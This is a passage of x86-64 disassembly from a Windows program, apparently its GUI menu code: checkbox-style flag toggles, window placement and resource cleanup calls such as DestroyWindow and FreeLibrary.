jne 0x7ff754aec7a6
cmp byte [0x7ff754c1f99c], 0
je 0x7ff754aec8b3
lea rdx, [0x7ff754c1f8a6]
lea rcx, [0x7ff754bfb510]
call fcn.7ff754acfde0
movzx ecx, byte [0x7ff754c1f867]
test al, al
movzx eax, byte [0x7ff754c1f870]
cmovne ecx, r13d
mov byte [0x7ff754c1f867], cl
test al, al
je 0x7ff754aec804
lea rdx, [0x7ff754c1f8f4]
lea rcx, [0x7ff754bfb520]
call fcn.7ff754acfde0
movzx ecx, byte [0x7ff754c1f887]
test al, al
movzx eax, byte [0x7ff754c1f870]
cmovne ecx, r13d
mov byte [0x7ff754c1f887], cl
cmp byte [0x7ff754c1f86f], 0
jne 0x7ff754aec81d
test al, al
jne 0x7ff754aec81d
cmp byte [0x7ff754c1f99c], al
je 0x7ff754aec8b3
lea rdx, [0x7ff754c1f8f8]
lea rcx, [0x7ff754bfb538]
call fcn.7ff754acfde0
movzx ecx, byte [0x7ff754c1f943]
test al, al
cmovne ecx, r13d
cmp byte [0x7ff754c1f86f], 0
mov byte [0x7ff754c1f943], cl
jne 0x7ff754aec85e
cmp byte [0x7ff754c1f870], 0
jne 0x7ff754aec85e
cmp byte [0x7ff754c1f99c], 0
je 0x7ff754aec8b3
lea rdx, [0x7ff754c1f8f7]
lea rcx, [0x7ff754bfb548]
call fcn.7ff754acfde0
movzx ecx, byte [0x7ff754c1f89d]
test al, al
cmovne ecx, r13d
cmp byte [0x7ff754c1f870], 0
mov byte [0x7ff754c1f89d], cl
je 0x7ff754aec8b3
lea rdx, [0x7ff754c1f8f2]
lea rcx, [0x7ff754bfb558]
call fcn.7ff754acfde0
movzx ecx, byte [0x7ff754c1f885]
test al, al
cmovne ecx, r13d
mov byte [0x7ff754c1f885], cl
call fcn.7ff754aac130
call fcn.7ff754ab6330
movaps xmm1, xmm10
movaps xmm0, xmm9
call fcn.7ff754ab5fa0
call fcn.7ff754ab61e0
lea rdx, [rbp + 0x148]
mov dword [rbp + 0x148], 0x43900000
lea rcx, [0x7ff754bfb568]
mov dword [rbp + 0x14c], 0x43200000
call fcn.7ff754aac020
cmp byte [0x7ff754c1f870], 0
je 0x7ff754aec954
lea rdx, [0x7ff754c1f8a4]
lea rcx, [0x7ff754bfb570]
call fcn.7ff754acfde0
movzx ecx, byte [0x7ff754c1f865]
test al, al
cmovne ecx, r13d
cmp byte [0x7ff754c1f870], 0
mov byte [0x7ff754c1f865], cl
je 0x7ff754aec954
lea rdx, [0x7ff754c1f8f1]
lea rcx, [0x7ff754bfb580]
call fcn.7ff754acfde0
movzx ecx, byte [0x7ff754c1f883]
test al, al
cmovne ecx, r13d
mov byte [0x7ff754c1f883], cl
call fcn.7ff754aac130
lea rdx, [rbp + 0x150]
mov dword [rbp + 0x150], 0x43900000
lea rcx, [0x7ff754bfb598]
mov dword [rbp + 0x154], 0x43e28000
call fcn.7ff754aac020
cmp byte [0x7ff754c1f86f], 0
jne 0x7ff754aec99f
cmp byte [0x7ff754c1f870], 0
jne 0x7ff754aec99f
cmp byte [0x7ff754c1f99c], 0
je 0x7ff754aeca8c
lea rdx, [0x7ff754c1f8a7]
lea rcx, [0x7ff754bfb5a8]
call fcn.7ff754acfde0
movzx ecx, byte [0x7ff754c1f86d]
test al, al
cmovne ecx, r13d
cmp byte [0x7ff754c1f86f], 0
mov byte [0x7ff754c1f86d], cl
jne 0x7ff754aec9e4
cmp byte [0x7ff754c1f870], 0
jne 0x7ff754aec9e4
cmp byte [0x7ff754c1f99c], 0
je 0x7ff754aeca8c
lea rdx, [0x7ff754c1f8f5]
lea rcx, [0x7ff754bfb5b8]
call fcn.7ff754acfde0
movzx ecx, byte [0x7ff754c1f88d]
test al, al
cmovne ecx, r13d
cmp byte [0x7ff754c1f86f], 0
mov byte [0x7ff754c1f88d], cl
jne 0x7ff754aeca25
cmp byte [0x7ff754c1f870], 0
jne 0x7ff754aeca25
cmp byte [0x7ff754c1f99c], 0
je 0x7ff754aeca8c
lea rdx, [0x7ff754c1f8f6]
lea rcx, [0x7ff754bfb5c8]
call fcn.7ff754acfde0
movzx ecx, byte [0x7ff754c1f89c]
test al, al
cmovne ecx, r13d
cmp byte [0x7ff754c1f86f], 0
mov byte [0x7ff754c1f89c], cl
jne 0x7ff754aeca66
cmp byte [0x7ff754c1f870], 0
jne 0x7ff754aeca66
cmp byte [0x7ff754c1f99c], 0
je 0x7ff754aeca8c
lea rdx, [0x7ff754c1f8a1]
lea rcx, [0x7ff754bfb5d8]
call fcn.7ff754acfde0
movzx ecx, byte [0x7ff754c1f85d]
test al, al
cmovne ecx, r13d
mov byte [0x7ff754c1f85d], cl
call fcn.7ff754aac130
movaps xmm1, xmm10
movaps xmm0, xmm9
call fcn.7ff754ab5fa0
jmp 0x7ff754aecded
cmp eax, 3
jne 0x7ff754aeccae
call fcn.7ff754ab61e0
lea rdx, [rbp + 0x158]
mov dword [rbp + 0x158], 0x43900000
lea rcx, [0x7ff754bfb5e8]
mov dword [rbp + 0x15c], 0x43e28000
call fcn.7ff754aac020
cmp byte [0x7ff754c1f86f], 0
jne 0x7ff754aecaf3
cmp byte [0x7ff754c1f870], 0
jne 0x7ff754aecaf3
cmp byte [0x7ff754c1f99c], 0
je 0x7ff754aecb6c
lea rdx, [0x7ff754c1f993]
lea rcx, [0x7ff754bfb5f8]
call fcn.7ff754acfde0
cmp byte [0x7ff754c1f86f], 0
jne 0x7ff754aecb21
cmp byte [0x7ff754c1f870], 0
jne 0x7ff754aecb21
cmp byte [0x7ff754c1f99c], 0
je 0x7ff754aecb6c
lea rdx, [0x7ff754c1f996]
lea rcx, [0x7ff754bfb608]
call fcn.7ff754acfde0
cmp byte [0x7ff754c1f870], 0
je 0x7ff754aecb6c
lea rdx, [0x7ff754c1f991]
lea rcx, [0x7ff754bfb618]
call fcn.7ff754acfde0
cmp byte [0x7ff754c1f870], 0
je 0x7ff754aecb6c
lea rdx, [0x7ff754c1f995]
lea rcx, [0x7ff754bfb628]
call fcn.7ff754acfde0
lea rdx, [0x7ff754c1f994]
lea rcx, [0x7ff754bfb638]
call fcn.7ff754acfde0
call fcn.7ff754aac130
call fcn.7ff754ab6330
movaps xmm1, xmm10
movaps xmm0, xmm9
call fcn.7ff754ab5fa0
call fcn.7ff754ab61e0
lea rdx, [rbp + 0x160]
mov dword [rbp + 0x160], 0x43900000
lea rcx, [0x7ff754bfb648]
mov dword [rbp + 0x164], 0x43e28000
call fcn.7ff754aac020
cmp byte [0x7ff754c1f86f], 0
jne 0x7ff754aecbdd
cmp byte [0x7ff754c1f870], 0
jne 0x7ff754aecbdd
cmp byte [0x7ff754c1f884], 0
je 0x7ff754aecc44
lea rdx, [0x7ff754c1f8fa]
lea rcx, [0x7ff754bfb658]
call fcn.7ff754acfde0
movzx ecx, byte [0x7ff754c1f997]
test al, al
cmovne ecx, r13d
cmp byte [0x7ff754c1f86f], 0
mov byte [0x7ff754c1f997], cl
jne 0x7ff754aecc1e
cmp byte [0x7ff754c1f870], 0
jne 0x7ff754aecc1e
cmp byte [0x7ff754c1f884], 0
je 0x7ff754aecc44
lea rdx, [0x7ff754c1f8a5]
lea rcx, [0x7ff754bfb668]
call fcn.7ff754acfde0
movzx ecx, byte [0x7ff754c1f866]
test al, al
cmovne ecx, r13d
mov byte [0x7ff754c1f866], cl
lea rdx, [rbp + 0x168]
mov dword [rbp + 0x168], 0x43900000
lea rcx, [0x7ff754bfb680]
mov dword [rbp + 0x16c], 0x43e28000
call fcn.7ff754aac020
lea rdx, [0x7ff754c1f947]
lea rcx, [0x7ff754bfb690]
call fcn.7ff754acfde0
lea rdx, [0x7ff754c1f8ab]
lea rcx, [0x7ff754bfb6a0]
call fcn.7ff754acfde0
movzx ecx, byte [0x7ff754c1f874]
test al, al
cmovne ecx, r13d
mov byte [0x7ff754c1f874], cl
call fcn.7ff754aac130
jmp 0x7ff754aecde8
cmp eax, 5
jne 0x7ff754aecceb
call fcn.7ff754ab61e0
lea rdx, [rbp + 0x170]
mov dword [rbp + 0x170], 0x43900000
lea rcx, [0x7ff754bfb6b0]
mov dword [rbp + 0x174], 0x43e28000
call fcn.7ff754aac020
lea rcx, [0x7ff754bfb6c8]
jmp 0x7ff754aecdd1
cmp eax, 4
jne 0x7ff754aecdf2
call fcn.7ff754ab61e0
lea rdx, [rbp + 0x178]
mov dword [rbp + 0x178], 0x43900000
lea rcx, [0x7ff754bfb6e0]
mov dword [rbp + 0x17c], 0x43e28000
call fcn.7ff754aac020
lea r8, [0x7ff754c1c660]
mov dword [rsp + 0x20], 8
lea rdx, [0x7ff754c555f8]
lea rcx, [0x7ff754bfb5f8]
call fcn.7ff754ad1aa0
lea r8, [0x7ff754c1c6c0]
mov dword [rsp + 0x20], 7
lea rdx, [0x7ff754c555fc]
lea rcx, [0x7ff754bfb6f8]
call fcn.7ff754ad1aa0
lea r8, [0x7ff754c1c720]
mov dword [rsp + 0x20], 9
lea rdx, [0x7ff754c555e8]
lea rcx, [0x7ff754bfb710]
call fcn.7ff754ad1aa0
lea r8, [0x7ff754c1c690]
mov dword [rsp + 0x20], 0xa
lea rdx, [0x7ff754c555f4]
lea rcx, [0x7ff754bfb618]
call fcn.7ff754ad1aa0
lea r8, [0x7ff754c1c6f0]
mov dword [rsp + 0x20], 0xb
lea rdx, [0x7ff754c555ec]
lea rcx, [0x7ff754bfb628]
call fcn.7ff754ad1aa0
lea rcx, [0x7ff754bfb638]
mov r8, r12
mov dword [rsp + 0x20], 0xc
lea rdx, [0x7ff754c555f0]
call fcn.7ff754ad1aa0
call fcn.7ff754aac130
call fcn.7ff754ab6330
mov rcx, qword [0x7ff754c1f830]
mov rax, qword [rcx + 0x3ea0]
mov byte [rax + 0xb0], 1
mov rax, qword [rcx + 0x3ea0]
mov ecx, r13d
movss xmm1, dword [rax + 0x18]
movss xmm0, dword [rax + 0x1c]
subss xmm1, dword [rax + 0x7c]
subss xmm0, dword [rax + 0x80]
mov byte [rax + 0x139], 1
addss xmm1, xmm13
addss xmm0, dword [0x7ff754bfb9b8]
movss dword [rax + 0xf8], xmm1
movss dword [rax + 0xfc], xmm0
call fcn.7ff754aa4ba0
mov rcx, qword [0x7ff754c1f830]
movsd xmm0, qword [rcx + 0x3e18]
mov rax, qword [rcx + 0x3ea0]
mulsd xmm0, qword [0x7ff754bfb8c0]
movsd xmm6, qword [rax + 0x18]
call sub.ucrtbase.dll_sin
addsd xmm0, qword [0x7ff754bfb8b8]
cmp qword [0x7ff754c1e748], 0x10
lea rdx, [0x7ff754c1e730]
xorps xmm2, xmm2
mov dword [rbp + 0x2bc], 0x3f800000
cmovae rdx, qword [0x7ff754c1e730]
lea rcx, [rbp + 0x2b0]
movaps xmm1, xmm6
mulsd xmm0, qword [0x7ff754bfb8b0]
shufps xmm1, xmm1, 0x55
addss xmm1, dword [0x7ff754bfb97c]
cvtsd2ss xmm2, xmm0
movaps xmm0, xmm6
addss xmm0, dword [0x7ff754bfb964]
movss dword [rbp + 0x2b0], xmm2
movss dword [rbp + 0x2b4], xmm2
movss dword [rbp + 0x2b8], xmm2
unpcklps xmm0, xmm1
movq r8, xmm0
call fcn.7ff754acd1a0
jmp 0x7ff754aeceff
mov r13d, 1
call fcn.7ff754ab18a0
call fcn.7ff754aab3c0
mov rcx, qword [0x7ff754c55658]
lea r8, [0x7ff754c55600]
xorps xmm0, xmm0
xor r9d, r9d
movups xmmword [rbp + 0x830], xmm0
mov edx, r13d
mov rax, qword [rcx]
call qword [rax + 0x108]
mov rcx, qword [0x7ff754c55658]
lea r8, [rbp + 0x830]
mov rdx, qword [0x7ff754c55600]
mov rax, qword [rcx]
call qword [rax + 0x190]
mov r15, qword [0x7ff754c1f830]
cmp dword [r15 + 0x4870], 0
jg 0x7ff754aecf79
mov r8d, 0x6ff
lea rdx, [0x7ff754beb560]
lea rcx, [0x7ff754bf08d8]
call qword [sym.imp.ucrtbase.dll__wassert]
mov rax, qword [r15 + 0x4878]
xor r15d, r15d
mov rcx, qword [rax]
mov eax, r15d
add rcx, 0x48
cmp byte [rcx], r15b
cmovne rax, rcx
mov rcx, rax
call fcn.7ff754ad8870
mov rcx, qword [0x7ff754c55608]
xor r8d, r8d
mov edx, r13d
mov rax, qword [rcx]
call qword [rax + 0x40]
mov r12d, dword [rsp + 0x64]
test r12b, r12b
je 0x7ff754ae89b0
jmp 0x7ff754aed01f
call qword [sym.imp.ucrtbase.dll__invalid_parameter_noinfo_noreturn]
int3
call qword [sym.imp.ucrtbase.dll__invalid_parameter_noinfo_noreturn]
int3
call qword [sym.imp.ucrtbase.dll__invalid_parameter_noinfo_noreturn]
int3
call qword [sym.imp.ucrtbase.dll__invalid_parameter_noinfo_noreturn]
int3
call qword [sym.imp.ucrtbase.dll__invalid_parameter_noinfo_noreturn]
int3
call qword [sym.imp.ucrtbase.dll__invalid_parameter_noinfo_noreturn]
int3
mov ecx, eax
call qword [sym.imp.msvcp140.dll_void___cdecl_std::_Throw_C_error_int_]
int3
call qword [sym.imp.ucrtbase.dll__invalid_parameter_noinfo_noreturn]
int3
call qword [sym.imp.ucrtbase.dll__invalid_parameter_noinfo_noreturn]
int3
lea rcx, [0x7ff754bfa060]
call qword [sym.imp.msvcp140.dll_void___cdecl_std::_Xout_of_range_char_const____ptr64_]
int3
lea rcx, [0x7ff754bfa048]
call qword [sym.imp.msvcp140.dll_void___cdecl_std::_Xinvalid_argument_char_const____ptr64_]
int3
xor r15d, r15d
mov rbx, qword [0x7ff754c1f830]
test rbx, rbx
je 0x7ff754aed039
mov rdi, qword [rbx + 0xa0]
test rdi, rdi
jne 0x7ff754aed05d
jmp 0x7ff754aed03c
mov rdi, r15
mov r8d, 0x241
lea rdx, [0x7ff754bf7120]
lea rcx, [0x7ff754bf77b0]
call qword [sym.imp.ucrtbase.dll__wassert]
mov rbx, qword [0x7ff754c1f830]
test rbx, rbx
jne 0x7ff754aed083
mov r8d, 0xfd8
lea rdx, [0x7ff754beb820]
lea rcx, [0x7ff754bebde0]
call qword [sym.imp.ucrtbase.dll__wassert]
mov rbx, qword [0x7ff754c1f830]
call fcn.7ff754ad9810
mov rcx, qword [rdi + 0x10]
test rcx, rcx
je 0x7ff754aed097
mov rax, qword [rcx]
call qword [rax + 0x10]
mov rcx, qword [rdi]
test rcx, rcx
je 0x7ff754aed0a5
mov rax, qword [rcx]
call qword [rax + 0x10]
mov rcx, qword [rdi + 8]
test rcx, rcx
je 0x7ff754aed0b4
mov rax, qword [rcx]
call qword [rax + 0x10]
mov rax, qword [0x7ff754c1f830]
mov qword [rbx + 0x90], r15
mov qword [rbx + 0xa0], r15
test rax, rax
je 0x7ff754aed0d4
dec dword [rax + 0xf4]
mov rcx, rdi
call qword [sym.imp.ucrtbase.dll_free]
mov rax, qword [0x7ff754c1f830]
test rax, rax
je 0x7ff754aed0f7
mov rbx, qword [rax + 0x98]
test rbx, rbx
jne 0x7ff754aed11b
jmp 0x7ff754aed0fa
mov rbx, r15
mov r8d, 0xa7
lea rdx, [0x7ff754bf78f0]
lea rcx, [0x7ff754bf7b10]
call qword [sym.imp.ucrtbase.dll__wassert]
mov rax, qword [0x7ff754c1f830]
test rax, rax
jne 0x7ff754aed141
mov r8d, 0xfd8
lea rdx, [0x7ff754beb820]
lea rcx, [0x7ff754bebde0]
call qword [sym.imp.ucrtbase.dll__wassert]
mov rax, qword [0x7ff754c1f830]
mov rcx, qword [rbx + 0x30]
lea rdi, [rax + 8]
test rcx, rcx
je 0x7ff754aed15b
call qword [sym.imp.kernel32.dll_FreeLibrary]
mov rax, qword [0x7ff754c1f830]
mov qword [rdi + 0x80], r15
mov qword [rdi + 0x90], r15
test rax, rax
je 0x7ff754aed174
dec dword [rax + 0xf4]
mov rcx, rbx
call qword [sym.imp.ucrtbase.dll_free]
mov rbx, qword [0x7ff754c1f830]
mov qword [0x7ff754c1f830], rbx
call fcn.7ff754aa6970
mov qword [0x7ff754c1f830], r15
test rbx, rbx
je 0x7ff754aed1bf
mov rcx, rbx
call fcn.7ff754abf350
mov rax, qword [0x7ff754c1f830]
test rax, rax
je 0x7ff754aed1b6
dec dword [rax + 0xf4]
mov rcx, rbx
call qword [sym.imp.ucrtbase.dll_free]
mov rcx, qword [0x7ff754c55600]
test rcx, rcx
je 0x7ff754aed1d8
mov rax, qword [rcx]
call qword [rax + 0x10]
mov qword [0x7ff754c55600], r15
mov rcx, qword [0x7ff754c55608]
test rcx, rcx
je 0x7ff754aed1f1
mov rax, qword [rcx]
call qword [rax + 0x10]
mov qword [0x7ff754c55608], r15
mov rcx, qword [0x7ff754c55658]
test rcx, rcx
je 0x7ff754aed20a
mov rax, qword [rcx]
call qword [rax + 0x10]
mov qword [0x7ff754c55658], r15
mov rcx, qword [0x7ff754c55650]
test rcx, rcx
je 0x7ff754aed223
mov rax, qword [rcx]
call qword [rax + 0x10]
mov qword [0x7ff754c55650], r15
mov rcx, qword [rbp + 0x180]
call qword [sym.imp.user32.dll_DestroyWindow]
mov rdx, qword [rbp + 0x458]
mov rcx, qword [rbp + 0x480]
call qword [sym.imp.user32.dll_UnregisterClassW]
movaps xmm14, xmmword [rsp + 0x1220]
xor eax, eax
movaps xmm13, xmmword [rsp + 0x1230]
movaps xmm12, xmmword [rsp + 0x1240]
movaps xmm11, xmmword [rsp + 0x1250]
movaps xmm10, xmmword [rsp + 0x1260]
movaps xmm9, xmmword [rsp + 0x1270]
movaps xmm8, xmmword [rsp + 0x1280]
movaps xmm7, xmmword [rsp + 0x1290]
movaps xmm6, xmmword [rsp + 0x12a0]
mov r15, qword [rsp + 0x12b0]
mov rdi, qword [rsp + 0x12e8]
mov r12, qword [rsp + 0x12f0]
movaps xmm15, xmmword [rsp + 0x1210]
mov r13, qword [rsp + 0x12c0]
mov rbx, qword [rsp + 0x12e0]
mov r14, qword [rsp + 0x12b8]
add rsp, 0x12c8
pop rsi
pop rbp
ret
xor ecx, ecx
call qword [sym.imp.ucrtbase.dll_exit]
int3
mov ecx, 6
mov dword [rbp + 0x1b8], esi
call qword [sym.imp.msvcp140.dll_void___cdecl_std::_Throw_Cpp_error_int_]
int3
call fcn.7ff754acc990
int3
call fcn.7ff754acc990
int3
call fcn.7ff754aa3080
int3
call fcn.7ff754acc990
int3
call fcn.7ff754aa3080
int3